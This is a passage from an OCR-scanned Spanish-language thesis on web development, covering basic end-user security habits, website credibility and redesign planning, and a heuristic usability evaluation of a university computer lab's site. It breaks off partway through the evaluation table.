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La mayoria de sistemas operativos, asi como las aplicaciones que corren
sobre dichos sistemas operativos poseen parches hechos por sus fabricantes,
normalmente se descargan por Internet, corrreo electrénico o bien vienen en
CD ROM, pueden ser gratuitos o comerciales. En todo caso el usuario agrega
nuevas funciones o redefine las existentes por medio del uso de parches. Es
aconsejable conocer el sistema operativo y aplicaciones que posea, cuales son
los parches mas recientes con el fin de aplicarlos y mantener el sistema mas
seguro y robusto.

Verifique si el parche no afectara a los programas instalados y si puede

ser desinstalado en el caso que ya no se desee 0 no se necesite mas.

Cuidado con los archivos adjuntos

Los archivos adjuntos son archivos que pueden acompafiar un mensaje de
correo. Son muy convenientes porque puede enviarse en ellos cualquier tipo de
archivo de texto o binario, con lo cual se complementa grandemente a los
mensajes normales.

Sin embargo, existe un riesgo grande en el uso de archivos adjuntos,
especialmente al recibirlos, el riesgo es que estos archivos vengan infectados
con alguna clase de virus 0 macro virus y que su ejecucion infecte el sistema 'y

ponga a la computadora o red en estado critico.

Con el crecimiento de Internet, la comunicacién por correo electrénico es
una de las funciones mas utilizadas. Sin embargo, con la proliferacion del spam
0 correo no deseado, existe el riesgo de sufrir infecciones por virus por tan solo
abrir los mensajes de correo, por ello se debe tener especial cuidado en leer los
mensajes que provengan solo de fuentes confiables e ignorar y eliminar los que
parezcan sospechosos o desconocidos. Antes de abrir un correo electrénico

verifique que:
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e Conoce a quien envia el mensaje
e Ha recibo un mensaje de esa persona antes
e [Espera un mensaje con archivos adjuntos de ese usuario.

e El mensaje tiene un sentido para usted.

Si el archivo procede de una fuente confiable, verifique que el archivo adjunto
no contenga virus de igual forma, ya que podria estar infectado aunque

provenga de una fuente de confianza.

Instalar un firewall personal

Un firewall personal es un programa que analiza el trafico que llega a la
computadora y determina por medio de reglas definidas con anterioridad, si la
informacion que llega puede ser procesada o bien debe ser rechazada.

La informacién analizada se evalla a nivel de paquetes, con el fin de
determinar si segun las reglas es posible que sea transferida al computador o

debe ser rechazada.

El firewall personal ademas de la informacion de los paquetes, analiza los
servicios y protocolos que pretenden ser accesados, asi como los puertos hacia

los cuales va dirigido el trafico.

De esta manera, es posible determinar que tipos de paquetes pueden
entrar o salir de la computadora, que protocolos pueden ser utilizados (tcp,
icmp, http etc.). El enfoque practico es que se conoce la actividad de la
computadora asi como los programas que desean conectarse a Internet de
manera silenciosa y los intentos de conexién hacia la maquina desde hosts

remotos.
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Muchos de esos intentos son escaneos de seguridad para verificar que

puertos y servicios estan abiertos e intentar un posible ataque.

Para saber si un firewall es lo suficientemente bueno, se debe hacer el siguiente

test propuesto por CERT %,

Test de programas: ¢ detecta el firewall cudles programas quieren conectarse a
Internet? ¢ incluso de manera secreta?

Test de Localidad: ¢cual es el IP y puerto con los cuales la computadora
quiere conectarse?

Test de permision: ¢puede realizarse una conexion aunque las reglas del
firewall lo prohiban?

Test de temporalidad: ¢ es la conexion temporal o permanente?

Todos los firewalls disponibles vienen con un conjunto predeterminado de
reglas que pueden ser configuradas de acuerdo a las necesidades de conexion,
por regla general desactive los servicios de su maguina que no necesite en
todo momento; es decir, se deben cerrar puertos y servicios que no sean
necesarios en un momento dado para reducir el riesgo de ser atacado por

dichos puertos o servicios.
Recuerde que mientras mas alta sea la proteccion del firewall, menor sera

la funcionalidad de los sitios que vea y probablemente habra algunos que no se
desplegaran correctamente. Elija bien la opcién que desee usar.
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Backups

No existe nada mas frustrante que perder informacién valiosa por causa
de no tener una copia de seguridad. La copia de seguridad permite restaurar
informacion guardada proveniente de un medio de almacenamiento secundario
donde se guardo dicha copia. Recuerde que los discos duros pueden fallar sin

previo aviso y perder informacion sumamente valiosa.

Para realizar un backup en su computadora debe responder a tres

preguntas:

e A qué archivos hay que realizarles backup: elija sélo los archivos
importantes o aquellos que sean escasos de conseguir o bien aquellos

archivos que tengan un valor especial.

e Cuan a menudo: debe considerar cudn a menudo es conveniente
realizar backups, esto es critico en archivos que cambian demasiado, en
este caso el backup debe ser mas frecuente.

e En qué medio: elija en qué medio (CD ROM, DVD, disco duro, memoria

flash etc.) se almacenara los backups realizados.
Contrasefias seguras
Existen muchas formas de ataque contra las contrasefas, una de las mas
utilizadas es adivinar la contrasefia por medio de pruebas sucesivas. Este

mismo concepto se usa en un meétodo llamado “fuerza bruta” que consiste en

probar las contrasefias incluidas en un diccionario.
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El diccionario consiste en un archivo que contiene miles de palabras que
son probadas una a una para ver si alguna concuerda con el password
almacenado. Cuando elija una contrasefia, asegurese que tenga al menos 8
caracteres y que no sea una palabra que se encuentre en diccionario, nombre
de mascota, o cualquier otra palabra o frase que pueda ser detectada por un

intruso.

La mejor técnica es utilizar una contrasefia que sea la combinacion de
letras mayusculas y minusculas, niumeros y signos de puntuacién alternados de
manera poco intuitiva. Cuanto mayor y mas compleja sea la contrasefia, sera

mas dificil de atacar por medio de fuerza bruta.

Es importante que la contrasefia pueda ser recordada sin necesidad de
escribirla en ningun lugar, post-its, abajo del teclado, en cuadernos, notas etc.
Porque dichos objetos pueden ser encontrados y la contrasefia utilizada para

ganar acceso a informacion importante y clasificada.

También es importante que cambie la contrasefia cada cierto tiempo, por
ejemplo cada tres semanas 0 menos, dependiendo del valor de la informacién
protegida, mientras més valiosa sea esta, se debe cambiar de contrasefia con

mas frecuencia.
Precaucion con archivos descargados

Como ya se menciond, los virus pueden descargarse desde Internet sin el
conocimiento del usuario. Sin embargo, no son la Unica amenaza, también

existen programas que aparentan ser legitimos y son en realidad spyware
(véase habito cinco en seguridad).
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En todo caso, asegurese que el sitio de donde estd descargando el
archivo, no sea un sitio de warez o software pirata, ni un sitio de escasa
reputacion ni mucho menos un sitio conocido de mala reputacion. Todo archivo
descargado debe ser analizado por el antivirus con el fin de revisar que no

contenga virus.

Anti spyware

Asegurese de tener instalado en su computadora, al lado del antivirus y
del firewall, un programa de deteccién y eliminacién de spyware, esto es basico
porque el spyware se instala sin la autorizacion o conocimiento del usuario y
ejecuta tareas de espionaje de habitos de navegacion o en el peor de los casos,
transmite informacion sensible hacia sitios de terceros. Ejecute periodicamente
escaneos del sistema para verificar que no existan parasitos instalados y de ser
posible mantenga un guardian de anti spyware residente en memoria para

aumentar el grado de proteccion.

Mensajeria instantanea

Asegurarse de no recibir archivos adjuntos en los programas de
mensajeria como MSN Messenger, Yahoo Messenger y otros. Las
posibilidades de recibir un virus al recibir un archivo adjunto son altas. Evite
tener listas voluminosas y seleccione cuidadosamente a sus contactos. Todas
las conversaciones estan siendo monitoreadas por lo que no se debe escribir
cosas que puedan parecer propaganda de anarquia o amenazas de seguridad.

Jamas revele direcciones, nombres reales o teléfonos a desconocidos.
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P2P

En la medida de lo posible, evite los programas p2p como Kazaa, winMX,
emule y otros, la razén es que consumen mucho ancho de banda y pueden
ralentizar el funcionamiento de otros servicios en Internet. Ademas, recuerde
gue por ser programas que buscan en su computadora archivos de distintos
tipos, pueden amenazar la seguridad de sus datos sensibles. La red Kazaa es
bien conocida por ello ya que el 40% de los archivos descargados vienen

infectados con virus.

Regla de oro

La regla de oro es: Nunca efectle operaciones que impliquen el uso
de tarjetas de crédito, cuentas bancarias, numeros de seguro social o
informacion privada en CAFES INTERNET. La razon es porque los cafés
Internet son visitados por muchos usuarios, los cuales pueden instalar aun sin
saberlo, programas spyware que vulneren la informaciéon en las maquinas
conectadas a Internet, ademas, no se conoce la ética de los duefios u
operadores del café por lo que no puede confiar que estos no estén interesados
en datos sensibles de los clientes.

5.2 Habito siete, afile la sierra

El habito siete es el habito de la renovacién, tal y como el Dr. Covey lo
menciona existen cuatro formas de renovacion, fisica, mental, social y espiritual,
en este texto mencionaremos la renovacion social y mental, ya que la
renovacion fisica y espiritual debe aplicarse segun el consejo del Dr. Covey tal

y como el lo sugiere en su libro.

203



En el ambito de sistemas, es comun que los equipos de desarrollo
padezcan de tension y estrés, es vital por lo tanto, realizar ejercicio fisico para
mantener la mente alerta y disipar el estrés en actividades constructivas y
saludables. Los expertos recomiendan ejercitarse 3 veces a la semana por 30
minutos al menos por sesion, habito que dara frutos en el caracter, la disciplina,
el bienestar personal y la autoestima, asi como también en las mejoras del

sistema inmunoldgico.

5.2.1 Habito siete en administracion: credibilidad y

reputacion del sitio web

El éxito de un sitio web no depende solamente del tipo de informacion que
ofrece o bien de la calidad de los productos o servicios que pueden adquirirse
en el mismo. Existen otros elementos que afectan a un sitio web en la
consecucion del éxito y el reconocimiento, dos de ellos son la credibilidad y la
reputacion. Estos son conceptos ciclicos que van y vienen y que es importante

mantener en un nivel alto en todo momento.

Al igual que sucede con los negocios fuera de linea, la credibilidad y
reputacion son aspectos claves para que un sitio web sea reconocido como
valioso y genere confianza para los usuarios. Es considerablemente dificil en
muchos casos, ganar la confianza de los usuarios y ganarse una reputacion
excelente pero basta un error para que el usuario no confie mas en el sitio, por
lo tanto la credibilidad debe aumentar conforme el usuario brinda mas datos

sensibles al sitio.

El manejo de la credibilidad no es un aspecto lineal, mas bien es un ciclo
que se repite y mejora continuamente para encontrar nuevas formas que den

valor y autenticidad al sitio web.
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A continuacién se presentan algunos puntos importantes sobre la
credibilidad y la manera que los usuarios evallan la misma en los sitios web,
basado en investigacion desarrollada por la Universidad de Stanford en ¢y ¥

durante tres afios y 4500 usuarios.

Guias para generar credibilidad en un sitio web

Tabla Xll Guia para generar credibilidad de un sitio web

Proporcionar medios para
verificar la autenticidad de

la informacion

Asegurarse de colocar citas, bibliografia u origen del material
publicado en el sitio, de esta manera, los usuarios veran un

respaldo en la veracidad de la informacion.

Mostrar que existe una
organizacioén real detras

del sitio web

Verificar que se muestra al usuario, dénde queda la sede de
la organizacién o bien mostrar fotografias de la sede o del

equipo de trabajo y el nombre real de la empresa

Hacer que sobresalga la
calidad y buenas
caracteristicas del

producto o servicio

Si el equipo posee personal altamente calificado o si la
organizacion ha recibido galardones o reconocimientos,
mostrarselo a los usuarios como garantia de autenticidad de

los productos o servicios que presta.

Enfatizar que gente
honrada y digna de
confianza se encuentra

tras el sitio web

Mostrar informacidn sobre el personal que incluya las
cualidades de los mismos, su honradez y su lealtad con el

enunciado de mision de la empresa o proyecto,

Facilitar la comunicacién

externa

Proveer una manera facil de comunicarse con el
administrador del sitio u otro involucrado, por ejemplo por

correo electrénico, teléfono, direccion etc.

Disefiar el sitio para que
luzca profesional y

visualmente agradable

Asegurarse que la apariencia visual del sitio sea excelente y
que la experiencia del usuario sea positiva al usar el sitio

(mejorar la usabilidad del sitio)

Hacer el sitio Gtil y facil de

usar

Mejorar la usabilidad y proveer informacién Gtil Gnicamente.

Evitar la redundancia y los datos indtiles.

Actualizar el contenido del

sitio periédicamente

Asegurar que cada cierto tiempo exista informacion nueva y
actualizada y que el sitio cambie de informacién de cuando

en cuando (analice segun las caracteristicas del sitio
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Continuacion

9

Evitar los errores, sin Asegurarse de validar bien los vinculos, validar la ortografia y
importar si son redaccién de textos, asi como cualquier otro error que afecte
pequefos. el funcionamiento correcto del sitio web

Fuente: Universidad de Stanford *°

Algunas otras estrategias de credibilidad incluyen:

Testimoniales de clientes satisfechos

Es aconsejable incluir los datos de contacto de los clientes satisfechos y
si disponen de un sitio web, un enlace hacia el mismo, esto es muy
importante en el caso de estrategias business to business en donde se
muestra la lista de clientes y banners hacia las paginas de los mismos.

Casos de estudio

Es aconsejable incluir casos de estudio en los cuales se muestre la
accion de la compafia representada por el sitio web a favor de terceras
personas incluyendo la descripcion del producto o servicio vendido y los
beneficios que obtuvo el cliente al contratar los servicios de la empresa.

Enunciado de privacidad

Describe como se usard la informacion de los usuarios en el sitio.
Debido a las constantes amenazas a la privacidad en Internet, todo sitio
debe incluir un enunciado de politicas de privacidad (privacy policy) para
que los usuarios conozcan que uso se dard a sus datos personales o
sensibles. Para crear un enunciado de privacidad adecuado se debe

contestar las siguientes preguntas:
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¢, Qué informacioén sera recolectada?

¢, Como sera utilizada la informacién de los usuarios?

¢, Como se protegera la informacién de los usuarios?

¢, Quiénes tendran acceso a ella?

¢ Podra ser manipulada comercialmente la informacion del usuario?

¢, Pueden ser compartidos los datos con terceros?

¢De quién es la informacion que el usuario proporciona, sigue siendo propia o
pasa a ser propiedad del sitio? (muchos chats y programas de mensajeria
dentro de su politica advierten al usuario cuando instala o usa sus servicios que

toda informacion publicada pertenece a las empresas duefias de los programas)

Segun el reporte de la Universidad de Stanford * los usuarios califican la
credibilidad de los sitios web segun los siguientes aspectos (ordenados por
prioridad, se debe mencionar que las cualidades mostradas fueron
mencionadas varias veces por cada usuario, por lo que la suma de porcentajes

no muestra el 100%):

Tabla XllIl Aspectos de credibilidad para sitios web

No. Porcentaje cualidad

1. 46.1% Disefio y apariencia

2. 28.5% Disefio y estructura de la Informacion
3. 25.1% Enfoque en la informacion del sitio

4. 15.5% Motivos de operacién de la compafiia
5. 14.8% Utilidad de la informacion

6. 14.3% Exactitud de la informacion

7. 14.1% Reconocimiento de marca y reputaciéon
8. 13.8% Publicidad
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Continuacion

9. 11.6% Orientacion de la informacién
10. 9.0% Tono de escritura

11. 8.8% Identidad del operador del sitio
12. 8.6% Funcionabilidad del sitio

13. 6.4% Servicio al cliente

14. 4.6% Experiencia previa con el sitio
15. 3.7% Claridad de informacion

16. 3.6% Rendimiento de los usuarios
17. 3.6% Facilidad de lectura

Fuente: Universidad de Stanford ¢

planificacion de redisefio del sitio

El habito siete representa la renovacion, por lo que es vital que una vez
terminado el sitio web o bien cuando se desee redisenar el mismo, se revise la
planificacion realizada al inicio para validar que el sitio web sea congruente con
la misma y cumpla con los objetivos trazados al inicio. Verifique con el equipo
de administracion del proyecto los planes siguientes (véase capitulo 3 para

mayor detalle):

e Negocios web: aqui se debe revisar que el objetivo del proyecto se
haya alcanzado y de no ser asi que se revise dicho objetivo y se creen
nuevas metas y se redisefie la mision del mismo. La revision de este
plan es sumamente importante ya que de ella depende la correcta

planificacién de los recursos del proyecto.
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e Marketing: la auditoria de marketing es fundamental en una revision de
los planes de marketing, se debe revisar si los objetivos de mercado
trazados han sido alcanzados, si no es asi, se debe determinar porque
ha sucedido eso y como compensarlo en la nueva version del plan. Se
debe realizar un andlisis FODA de las caracteristicas del sitio actual y
cuales son las ventajas potenciales del redisefio. Asi como las posibles

amenazas Yy debilidades que puede traer reconstruir el sitio.

e Politica de precios (si existen): se debe revisar los precios actuales y
analizar cual sera la politica a tomar en cuanto el nuevo sitio salga al
publico, se debe determinar el precio de los nuevos productos o servicios
qgue seran ofrecidos y también si el precio de los productos o servicios
proporcionados actualmente seran modificados de acuerdo con la

demanda de los mismos o a las tendencias del mercado.

e Finanzas: es importante determinar el estado actual de las finanzas
antes de realizar un proceso de redisefio, revisar si el proyecto fue
rentable es fundamental, se debe analizar muy bien si conviene
redisefiar el sitio desde el punto de vista econdmico. Si se decide
redisefar el sitio entonces se deben crear metas financieras ambiciosas
pero perfectamente alcanzables sin violar los principios del equipo de

desarrollo ni la misién del proyecto.
Si se desea redisefar alguna parte del proyecto, las nuevas caracteristicas

se deben agregar a los objetivos y planes existentes asi como a la mision para

poder proceder al redisefio del sitio web.
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Enunciado de mision del proyecto

Revisar los resultados del proyecto y verifigue que se ha trabajado de

acuerdo con el enunciado de mision del proyecto.

El enunciado puede ser cambiado en cualquier momento, pero se debe
tener cuidado que no contradiga su sentido original sino que sea
complementado y mejorado. Si va a comenzar una etapa de redisefio o
ampliacion de su proyecto, revise si este enunciado sigue siendo valido y

ajustelo segun las necesidades del nuevo proyecto.

Verificar que todo el equipo de trabajo entienda el enunciado y que

compartan sus ideas fundamentales.

5.2.2 Habito siete en usabilidad: redisefio del sitio web

Un sitio web es una entidad en continuo devenir, cuando se disefia, se
elabora y finalmente sale al publico y adquiere valor como una fuente de
informacion y beneficios, se ha llegado al final de un ciclo. Sin embargo, ese
ciclo puede repetirse nuevamente y el sitio vuelve a ser redisefiado, ya sea para
expandir sus caracteristicas, para mejorar sus funciones o bien para llenar

expectativas no cubiertas hasta el momento.

No importa si se trata de un sitio web estatico o dindmico, el cambio es
inevitable, lo que hoy es una novedad, mafiana sera obsoleto, tanto en ideas
como en tecnologia, por lo tanto un sitio debe seguir la vieja maxima de
evolucionar o morir ya que conforme avanza la tecnologia web, nuevas y

mejores herramientas estan a disposicién de los equipos de desarrollo..
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En este apartado se trataran las principales ideas claves que pueden
guiar para reconstruir un sitio web y darle una nueva personalidad sin perder su

esencia basica.

Etapas del redisefio

El rediseifio web consiste en comenzar de nuevo en el ciclo de vida del
proyecto revisando las caracteristicas del sistema y agregando, eliminando o
reconstruyendo las existentes. Las etapas del redisefio pueden seguir el orden

siguiente:

Una vez revisados los planes de negocios, marketing, politicas de precios
y financieros, es necesario entenderlos bien y trasladar las metas
administrativas a metas funcionales del proyecto. Las tareas de planificacion

incluyen las descritas a continuacion:

Elegir metodologia de desarrollo

Se debe elegir la metodologia de desarrollo para el redisefio,
normalmente se elige la misma que se utilizd el principio y se extiende la
documentacion para adecuarla al proyecto, pero puede también elegirse otra
metodologia que segun la administracion del proyecto, se ajuste mejor a esta
etapa del mismo. Es conveniente que todos los miembros del equipo de
desarrollo se sientan comodos trabajando en ella o bien que si estos son
elementos recién incorporados puedan aprender rapidamente los lineamientos

de las mismas para poder integrarse al clima del proyecto rapidamente.
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Plan de usabilidad

Posteriormente, se debe revisar el plan de usabilidad, para determinar si
se necesitan nuevas metas de usabilidad o pueden utilizarse las actuales (en el

caso de que sigan siendo validas).
Evaluacion

Consiste en realizar una evaluacion de usabilidad del sitio actual por
cualquiera de los métodos descritos en el habito seis para detectar posibles
problemas de usabilidad que puedan ser evitados en el nuevo diseiio. Se debe

evaluar con base en las nuevas metas de usabilidad.
Actividades practicas

Una vez hecha la planificacion, se debe proceder con las fases de analisis,
disefio y pruebas, tal y como se mostré en los capitulos tres al cinco; sin
embargo en la etapa de redisefio, existen algunas actividades practicas que
pueden ser muy Uutiles, a continuacion se presentan algunos consejos de

redisefio, hechos por la BBC de Londres en el redisefio de su sitio web *
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Redisefio por ordenacién de tarjetas (card sorting)

La ordenacién de tarjetas fue discutida en el capitulo tres como una
técnica para crear relaciones entre objetos, basada en elementos sin ninguna
asociacion aparente en la que los usuarios crean categorias y agrupan segun
su criterios los elementos que crean convenientes. En el redisefio es
exactamente igual, con la diferencia que los usuarios reciben las paginas del
sitio a redisefiar y su tarea es crear agrupaciones de paginas determinadas, la
técnica se usa con varios usuarios y con ella se pretende entender los procesos
mentales de los usuarios para ordenar pantallas, para redisefiar los mends y
vinculos para ayudar a los usuarios a utilizar el sitio de una manera mas simple

e intuitiva.

Analogia de la ciudad

Consiste en tratar al sitio web como si se tratase de una ciudad extrafia y
luego preguntar a todo el equipo: ¢ si alguien esta en un sitio desconocido, cual
es el primer lugar a donde se dirige? Las respuestas se obtienen de una
tormenta de ideas y luego se categorizan y se ordenan por importancia. Estas
ideas son utiles para crear analogias para la pagina y tratar de recrear los
elementos de mas importancia en el sitio web, para que el usuario los
reconozca diciendo: ¢ si necesito ayuda, a quién le pregunto? y en el sitio exista

por ejemplo, la figura de un policia que sea el vinculo a la ayuda en linea.

Subsecciones

Las paginas deben ser disefiadas como un conjunto de marcos o bien

como un conjunto de cuadros consecutivos de similar tamafo.
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Este enfoque ayuda a dividir la pagina en segmentos que pueden tener
identidad propia en el disefio final. La pagina entonces puede ser mas dinamica

y tener muchas subsecciones individuales dentro de un mismo espacio visual.

Figura 10. Subsecciones en una pagina web

Fuente: The glass wall, (pdf) *®, marzo 2004

El contenido de las paginas puede ser colocado en un cuadro o bien en
varios cuadros continuos, el tamafio de los cuadros debe ser definido por los
disefiadores pero es aconsejable que en él, quepan la mayoria de los graficos

utiizados en disefio web y que los cuadros se puedan acomodar
adecuadamente.
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5.2.3 Habito siete en seguridad

La seguridad de sitios web es una tarea que nunca termina, conforme
avanza la tecnologia, nuevas vulnerabilidades aparecen al lado de las ventajas
de los sistemas novedosos. Es, por lo tanto, una obligacion del experto de
seguridad, verificar que el sitio se encuentre suficientemente seguro en todo
momento. Para mantener el sitio en un estado seguro, se recomienda repetir el
plan de seguridad que se menciono en el habito tres en seguridad (capitulo
tres) el cual consiste en una serie de pasos que van desde ajustar la
configuracion del sitio hasta la mejora de practicas para actualizar el sistema,

dicho plan esta basado en la guia S.K.I.P. propuesta por CERT.

Es importante que el experto en seguridad base siempre sus acciones en
el enunciado de seguridad que se menciond en el habito dos en seguridad
(capitulo dos). También es importante revisar dicho enunciado y corregirlo
cuando sea necesario de modo que se ajuste a las nuevas necesidades del

negocio u organizacion.

Existen sitios web dedicados al tema de la seguridad, es vital que el
administrador de seguridad web revise constantemente dichos sitios para
buscar posibles vulnerabilidades en la plataforma en la cual est4 construido el

sitio y probar si dichas vulnerabilidades aplican al mismo.

www.securityfocus.com, www.owasp.org y www.securitytracker.com, son
dos portales adecuados para la busqueda de nuevas vulnerabilidades y bugs
para aplicaciones web, www.securityfocus.com es un sitio que cuenta con la
famosa lista de correo Bugtraq que es un conjunto de archivos que contienen el
listado de vulnerabilidades para todo tipo de sistemas, por lo cual estd muy

recomendado.
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El sitio de www.owasp.org es sumamente Util ya que en el se publican
diversas herramientas y sobre todo su famosa guia para crear aplicaciones web
seguras y su “top 10” de vulnerabilidades mas criticas en aplicaciones para
Internet. Existe una gran cantidad de portales dedicados a la seguridad de
aplicaciones y sitios web por lo que el experto debe buscar siempre nuevas

fuentes de conocimiento para mantener su sistema actualizado.

Recuerde que en opinion de muchos expertos de seguridad, el 80% de los
atagues de sitios web son a nivel de aplicacion, por lo que es vital tener el
sistema a punto, verifique en todo momento que el “top 10” de vulnerabilidades
este asegurado y busque siempre nuevos agujeros en las tecnologias
utilizadas, (asp, asp.net, php, java etc.) especialmente en sitios que involucren
uso de datos sensibles. Si utiliza portales ya construidos como Postnuke,
Oscommerce, Phpnuke u otros, verifique que posee la version mas actualizada

y este atento a los parches que sean publicados.

Los test de vulnerabilidad controlados que forman parte del plan de
seguridad también son importantes ya que permiten detectar y eliminar
vulnerabilidades antes que intrusos maliciosos lo hagan con las conocidas

consecuencias.

También es importante que el experto en seguridad esté suscrito a listas
de correo y grupos de noticias sobre seguridad web, en especial a grupos
sobre seguridad de aplicaciones web, ya que en muchos de éstos figuran
importantes administradores de seguridad quienes poseen una Vvasta
experiencia y que generalmente ofrecen ayuda desinteresada a los miembros

de los foros.
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6. EVALUACION DE UN SITIO WEB

El SAE/SAP es un laboratorio de computacion que se encarga de la
ensefianza informatica en la facultad de Ingenieria dando cursos a estudiantes

y Catedréticos tanto locales como de otros centros de ensefianza.

El SAE/SAP cuenta con un sitio web el cual provee de informacion util a
los usuarios asi como material en linea de diversa indole. A continuacion se
presenta los resultados de la evaluacion del sitio web del laboratorio de
computacion SAE/SAP de la facultad de Ingenieria cuyo URL es:

http://saesap.usac.edu.gt

6.1 Situacion actual del sitio

De acuerdo a la entrevista realizada al administrador, el sitio del
SAE/SAP contiene informacién util para los estudiantes que utilizan sus
servicios, consiste en una interfase de html estatico que contiene varias
categorias de informacion, en la parte superior de la pagina inicial se encuentra
un menu estatico que contiene vinculos hacia las secciones de noticias, correo

electrionico, e-learning, y novedades.

El sitio ha sido disefiado con la metodologia tradicional web que consiste
en la creacion de las paginas y luego la vinculacion entre las mismas. El sitio
No posee un presupuesto exclusivo y su mantenimiento se debe compartir entre

otros compromisos economicos del laboratorio.
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El web master es el encargado de las tareas de configuracion, pruebasy
mantenimiento. El mantenimiento del sitio ocurre normalmente cuando se

agregan nuevos contenidos o bien cuando se revisan errores reportados.

Recientemente se ha agregado al sitio del SAE un mddulo de
aprendizaje en linea o e-learning el cual consiste en una aplicacion que

controla los recursos a los cuales los estudiantes a distancia pueden acceder.

El sitio de e-learning esta basado en Dokeos el cuales una aplicacion
hecha en PHP y con MySqgl como bases de datos back-end. Dokeos esta
liberado bajo la licencia Open Source y puede descargarse de
www.dokeos.com, al momento de escribir estas lineas la seccion de e-learning

del SAE/SAP ya ha impartido varios cursos a distancia.

Debido a su forma tradicional de administracion, el sitio no cuenta con
planes de negocios, marketing, seguridad, usabilidad y finanzas de manera bien
definida, aunque el administrador ha hecho esfuerzos por mejorar la gestion de

estos elementos y planea mejorarla en el futuro préximo.
Evaluacion del sitio

A continuacion se presenta el resumen de cada uno de los tests
practicados al sitio, entre los cuales se destacan el test de seguridad, test de

usabilidad, test de accesibilidad, con las principales vulnerabilidades vy

practicas inadecuadas encontradas.
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6.2 Test de usabilidad

La usabilidad como se ha visto a lo largo del texto, es una técnica de
andlisis y disefio de software que ofrece a los usuarios, una mejor experiencia
en el uso de los sistemas construidos, permitiéndoles utilizarlos de manera facil,

sencilla'y con un rapido aprendizaje.

Audiencia

El test de usabilidad esta destinado para el administrador del sitio y

permitirle mejorar el contenido de sus paginas.

El sitio del SAE/SAP  saesap.usac.edu.gt es el elegido para la
evaluacion; dicha evaluacion fue realizada por medio de un analisis heuristico
(andlisis basado en reglas de usabilidad ampliamente aceptadas). A
continuacion se presenta el reporte de dicho andlisis, asi como las medidas a

ser tomadas en cuenta para el mejoramiento del sitio antes mencionado.

Primeramente, se menciona el problema, luego el grado de severidad del

mismo (baja, mediana o alta) y por ultimo una posible solucién al problema
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Tabla XIV Resultado del Test de Usabilidad

No. Problema Severidad | Remedio:

Links no subrayados, esto puede ser | Media Subrayar los vinculos

de confusién para el usuario

Algunos vinculos de la pagina de|Baja Eliminar el texto de los mends si

inicio (saesap.usac.edu.gt) en el no se desean activar o bien

men lateral izquierdo no funcionan activar dichos menus

la pagina de inicio no es del tamafio | Media redisefiar la pagina de inicio

estandar, el scrolling deja ocultos para que el scrolling

algunos elementos claves (desplazarse hacia abajo) no
sea necesario.

El sitio carece de una version de solo | Alta Se debe crear una versién sélo

texto texto del sitio para los usuarios
gue no dispongan un browser
grafico o} bien tengan
deshabilitadas las imagenes

Las paginas no contienen un vinculo | Alta crear una imagen que sirva

hacia la pagina de inicio (el URL de la como vinculo para dirigirse a la

pagina de inicio es pagina de inicio es

saesap.usac.edu.gt) recomendable ademas incluir
un vinculo de texto con la
misma funcién.

El vinculo con el logo de Ila|Media Colocar el icono de Ia

Universidad de San Carlos de universidad en una zona de

Guatemala que se encuentra en el vinculos fuera del encabezado o

encabezado de la mayoria de bien incluir también un vinculo

paginas, puede confundir a los hacia la pagina de inicio del

usuarios y redireccionarlos fuera de SAE

este sitio.

La pagina inicial de openweb mail no | Alta Colocar un icono o vinculo que

tiene un vinculo de regreso hacia la

pagina principal del sitio

se dirija hacia la pagina de inicio

del sitio: saesap.usac.edu.gt.
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Continuacion

8

El sitio carece de mapa de

navegacion

Alta

Crear un mapa de navegacion
gue permita a los usuarios
saber que servicios ofrece el
sitio. EI mapa de navegacion
consiste en una pagina con
sitio

todos los vinculos del

categorizados

El sitio carece de ruta de navegacién

Alta

Crear una ruta de navegacion
en todas las péaginas con el fin
de que los usuarios sepan
donde estan en el sitio todo el
tiempo con respecto a la pagina
de inicio ejemplo:
Inicio>recursos>descargas

O bien

Inicio/recursos/descargas

La lista debe contener vinculos

activos

10

El sitio carece de ayuda en linea

Media

Es aconsejable crear una
pagina de ayuda que de soporte
a los usuarios en caso de

dudas.

11

El sitio carece de anuncio de

copyright

Baja

Es aconsejable colocar un
mensaje de copyright en todas
las paginas del sitio en la parte

inferior de las mismas.

12

La pagina de error 404 necesita ser

redisefiada

Alta

Esta pagina esta creada por
default por los servidores web,
rediséfiela para incluir en ella el
mapa del sitio y un mensaje de
error adecuado y entendible
para el usuario asi como una
continuar

forma como

navegando.
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Continuacion

13 en el menu superior el icono de Alta Se debe evitar en lo posible los
novedades distrae mucho y no da gif animados ya que estos
indicaciones claras de que se trata. distraen al usuario y

normalmente son molestos.

14 el uso de la seccion: Alta Los usuarios finales pueden
http://saesap.usac.edu.gt/enlinea.htm extraviarse en el sitio. Se deben
es confuso y puede tender a crear rediseflar los mensajes para
equivocaciones en los usuarios gue sean claros y concisos
debido a que los mensajes no estan
escritos claramente.

15 los colores de la pagina Baja Utilizar colores de bajo impacto
http://saesap.usac.edu.gt/enlinea.htm en la vista como esquemas
pueden ser cansados a la vista monocromaticos

16 La pantalla de Open Web Mail debe | Baja Eliminar todos los vinculos
ser configurada para que aparezcan innecesarios de la pantalla de
solo los elementos necesarios. inicio de Open Web Mail

17 La seccién de novedades no incluye | Alta Agregar lista de navegacién
vinculos de regreso.

18 Agregar la palabra “proximamente” a | Baja Avisar cuando un vinculo no
los vinculos no activos. este activo o se encuentre

temporalmente fuera de linea.

19 Los vinculos hacia filosofia hindd y Baja Incluir temas especializados en
otros temas que se encuentran en la diferentes directorios del sitio
pagina de inicio estan fuera de
tematica, es mejor incluirlos en otros
apartados.

20 La marquesina de texto de la barra de | Alta Eliminar las marquesinas de
estado (parte inferior de la pagina) es texto en todas las paginas
molesta y distrae

21 En la pagina inicial existe un vinculo |Baja Verificar que los objetos vy

hacia una presentacion llamada

learning.ppt que no existe.

paginas vinculadas en el sitio

existan y sean accesibles..
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Continuacion

22 La seccién casa de la cultura no tiene | Alta Crear listas de navegacién y
elementos de navegacion (paginas vinculos e iconos en cada
muertas) pagina principal.

23 El texto utilizado en varias paginas es | Media Distribuir el disefio de la pagina
demasiado ancho y extenso para en areas de tamafo definido e
leerlo cémodamente incluir texto de un ancho

adecuado en dichos cuadros.

24 Falta logo de SAE/sap para el sitio Media Incluir el logo como elemento de

navegacion de todas las
paginas.

25 las paginas de Dokeos tienen Alta Eliminar los vinculos que
vinculos hacia ellas mismas. Esto apunten hacia la misma pagina
desperdicia recursos. gue los contiene

26 El manejo de errores de la aplicacién | Alta Descargar las actualizaciones
Dokeos es confuso de la aplicacién y comunicar a

los desarrolladores del proyecto
lo sucedido

27 El mensaje de correo enviado a los Media Escribir el mensaje de manera
estudiantes luego de inscribirse en los clara y eliminar ambigiiedades
cursos a distancia es ambiguo y
puede producir confusion ya que
